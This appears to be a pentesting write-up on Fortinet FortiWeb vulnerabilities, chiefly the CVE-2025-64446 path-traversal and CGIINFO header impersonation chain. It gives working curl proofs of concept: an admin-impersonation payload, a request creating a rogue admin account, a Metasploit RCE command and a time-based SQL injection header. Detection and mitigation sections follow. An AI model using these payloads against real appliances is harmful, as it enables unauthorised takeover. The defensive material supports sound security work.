Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation
Overview
Fortinet FortiWeb exposes a centralized CGI dispatcher at /cgi-bin/fwbcgi. A two-bug chain allows an unauthenticated remote attacker to:
- Reach fwbcgi by starting the URL with a valid API prefix and traversing directories.
- Impersonate any user (including the built-in admin) by supplying a special HTTP header that the CGI trusts as identity.
Vendor advisory: FG‑IR‑25‑910 (CVE‑2025‑64446). Exploitation has been observed in the wild to create persistent admin users.
Impacted versions (as publicly documented): - 8.0 < 8.0.2 - 7.6 < 7.6.5 - 7.4 < 7.4.10 - 7.2 < 7.2.12 - 7.0 < 7.0.12 - 6.4 ≤ 6.4.3 - 6.3 ≤ 6.3.23
FortiWeb 8.0.2 returns HTTP 403 for the traversal probe below.
Quick vulnerability probe
- Path traversal from API prefix to
fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
- Interpretation: HTTP 200 → likely vulnerable; HTTP 403 → patched.
- A slightly more realistic probe is a
POSTwith a minimal JSON body. Public tooling commonly uses the encoded path/api/v2.0/cmdb/system/admin%3F/../../../../../cgi-bin/fwbcgibecause some normalizers treat the encoded?differently:
curl -sk -X POST \
-H 'Content-Type: application/json' \
--data '{}' \
'https://<host>/api/v2.0/cmdb/system/admin%3F/../../../../../cgi-bin/fwbcgi'
- Interpretation: HTTP 403 → fixed; JSON with
results.errcode == -56→ traversal succeeded and you reached the auth gate insidefwbcgi.
Root cause chain
1) API-prefix path traversal to internal CGI
- Any request path that begins with a valid FortiWeb API prefix (e.g., /api/v2.0/cmdb/ or /api/v2.0/cmd/) can traverse with ../ to /cgi-bin/fwbcgi.
2) Minimal-body validation bypass
- Once fwbcgi is reached, a first gate performs a permissive JSON check keyed by a per-path file under /var/log/inputcheck/. If the file is absent, the check passes immediately. If present, the body only needs to be valid JSON. Use {} as a minimal compliant body.
3) Header-driven user impersonation
- The program reads the CGI environment variable HTTP_CGIINFO (derived from the HTTP header CGIINFO), Base64-decodes it, parses JSON, and copies attributes directly into the login context, setting the domain/VDOM. Keys of interest:
- username, loginname, vdom, profname
- Example JSON to impersonate the built-in admin:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
Base64 of the above (as used in-the-wild):
eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
End-to-end abuse pattern (unauthenticated → admin)
1) Reach /cgi-bin/fwbcgi via an API-prefix traversal.
2) Provide any valid JSON body (e.g., {}) to satisfy the input check.
3) Send header CGIINFO: <base64(json)> where the JSON defines the target identity.
4) POST the backend JSON expected by fwbcgi to perform privileged actions (e.g., create an admin user for persistence).
Minimal cURL PoC
- Probe traversal exposure:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
- Impersonate admin and create a new local admin user:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='
curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
Notes:
- Any valid JSON body suffices (e.g., {}) if /var/log/inputcheck/<path>.json does not exist.
- The action schema is FortiWeb-internal; the example above adds a local admin with full privileges.
Chaining the auth bypass to OS-level RCE
- CVE-2025-64446 gives access to privileged management actions, but operators should assume public exploit chains will immediately try to turn it into shell access.
- Public tooling now chains the auth bypass with CVE-2025-58034: create a local admin through
fwbcgi, log in via/logincheck, then drive the management CLI to execute payloads. - Observed/public transports for the CLI stage:
- FortiWeb 7.x / 8.x: WebSocket CLI at
/ws/cli/open - FortiWeb 6.x: HTTP CLI bridge at
/httpclirqst - The public Metasploit module
exploit/linux/http/fortinet_fortiweb_rceuses the same logic and performs a relatively safe check first (403on patched builds, usually JSONerrcode -56on exposed ones).
msfconsole -q -x 'use exploit/linux/http/fortinet_fortiweb_rce; set RHOSTS <target>; set LHOST <listener>; check; run'
Other FortiWeb vulnerabilities worth checking quickly
Pre-auth Fabric Connector SQLi → RCE (CVE-2025-25257)
- Affects 7.6.0–7.6.3, 7.4.0–7.4.7, 7.2.0–7.2.10, 7.0.0–7.0.10. Fixed in 7.6.4 / 7.4.8 / 7.2.11 / 7.0.11.
- Bug:
get_fabric_user_by_token()uses theAuthorization: Bearer <token>value directly in a SQL query. Attacker input is first parsed withBearer %128s, so spaces terminate the payload; public exploitation replaces spaces with/**/comments. - Typical attack surface:
/api/fabric/device/status(and other Fabric Connector endpoints) over HTTP/HTTPS on the management plane. - Non-destructive validation commonly uses a time-based payload:
time curl -sk \
-H "Authorization: Bearer AAAAAA'/**/or/**/sleep(5)--/**/-'" \
'https://<host>/api/fabric/device/status'
- Weaponization: move from SQLi to file write (
INTO OUTFILE) and then to code execution (for example a Python.pthloader or CGI dropper). The FortiWeb-specific file-write/RCE details are already covered in MySQL file write to Python.pthRCE. - Hunting clues: Authorization headers containing quotes/comment sequences/
sleep(/union; unexpected files under/data/lib/python*/site-packages/or/data/var/waf/html/ROOT/cgi-bin/.
FortiCloud SSO signature bypass (CVE-2025-59719)
- Improper SAML signature verification lets an attacker forge FortiCloud SSO responses and log in as admin with no credentials.
- Only exploitable when FortiCloud SSO login is enabled (it turns on automatically if the appliance was registered via GUI unless the checkbox was unticked).
- Affected (per PSIRT): 8.0.0, 7.6.0–7.6.4, 7.4.0–7.4.9. Patched in 8.0.1 / 7.6.5 / 7.4.10.
Administrative FortiCloud SSO account-binding bypass (CVE-2026-24858)
- This is a different bug class from CVE-2025-59719: the attacker needs any FortiCloud account plus any registered Fortinet device, then abuses FortiCloud SSO to log in to other customers' devices if FortiCloud SSO admin login is enabled there.
- Fortinet reported in-the-wild exploitation, temporarily disabled FortiCloud SSO on the FortiCloud side on 2026-01-26, and re-enabled it on 2026-01-27 with vulnerable client versions blocked.
- FortiWeb affected versions: 8.0.0–8.0.3, 7.6.0–7.6.6, 7.4.0–7.4.11. Fixed in 8.0.4 / 7.6.7 / 7.4.12.
- Factory defaults do not enable this login path, but GUI-based registration can enable it if the administrator leaves Allow administrative login using FortiCloud SSO turned on.
OS command injection in management plane (CVE-2025-58034)
- Affected: 7.0.0–7.0.11, 7.2.0–7.2.11, 7.4.0–7.4.10, 7.6.0–7.6.5, 8.0.0–8.0.1. Fixed in 7.0.12 / 7.2.12 / 7.4.11 / 7.6.6 / 8.0.2.
- Practical impact: this is the post-auth primitive most worth caring about because it can be chained with CVE-2025-64446 to obtain unauthenticated RCE.
- Public exploit chains execute commands through the management CLI, using
/ws/cli/openon 7.x/8.x and/httpclirqston 6.x after a valid admin session exists.
Detection
- Requests reaching
/cgi-bin/fwbcgivia API-prefix paths containing../, especially the public exploit form/api/v2.0/cmdb/system/admin%3F/../../../../../cgi-bin/fwbcgi. - Presence of header
CGIINFOwith Base64 JSON containing keysusername/loginname/vdom/profname. - Follow-on activity after the auth bypass:
- Unexpected local admin creation.
- Fresh sessions to
/logincheckimmediately followed by/ws/cli/openor/httpclirqst. - Configuration changes or command execution shortly after
fwbcgiaccess. - Fabric Connector SQLi: Authorization headers containing quotes/comment sequences/
sleep(/union; hits to/api/fabric/device/statusfrom internet IPs; sudden files in Python site-packages or CGI directories. - FortiCloud SSO abuse: unexpected administrative logins through FortiCloud SSO on appliances that were registered through the GUI, especially if that login path was thought to be unused.
- Backend artifacts:
- Per-path files under
/var/log/inputcheck/(gate configuration). - Unexpected admin creation and configuration changes.
- Rapid validation: the traversal probe returning 200 (exposed) or JSON auth errors (such as
errcode -56) vs 403 (blocked in fixed builds).
Mitigation
- Upgrade CVE-2025-64446-exposed builds to fixed releases (examples: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12) per vendor advisory.
- Patch the related management-plane bugs as well:
- SQLi (CVE-2025-25257): 7.6.4 / 7.4.8 / 7.2.11 / 7.0.11
- FortiCloud SSO signature bypass (CVE-2025-59719): 8.0.1 / 7.6.5 / 7.4.10
- FortiCloud SSO account-binding bypass (CVE-2026-24858): 8.0.4 / 7.6.7 / 7.4.12
- Command injection (CVE-2025-58034): 7.6.6 / 7.4.11 / 7.2.12 / 7.0.12 / 8.0.2
- Until patched:
- Do not expose FortiWeb management plane to untrusted networks.
- Add reverse-proxy/WAF rules to block:
- Paths that start with
/api/and contain../cgi-bin/fwbcgi. - Requests carrying a
CGIINFOheader. - Fabric Connector calls with SQL metacharacters in
Authorization.
- Paths that start with
- Disable Allow administrative login using FortiCloud SSO if you do not explicitly need it.
- Monitor and alert on the detection indicators above.
References
- Fortinet PSIRT FG-IR-25-910 — Path confusion vulnerability in GUI (CVE-2025-64446)
- When the impersonation function gets used to impersonate users — Fortinet FortiWeb auth bypass (watchTowr Labs)
- Pre-auth SQL Injection to RCE — Fortinet FortiWeb Fabric Connector (watchTowr Labs)
- Rapid7 Metasploit module:
fortinet_fortiweb_rce - Fortinet PSIRT FG-IR-26-060 — Administrative FortiCloud SSO authentication bypass (CVE-2026-24858)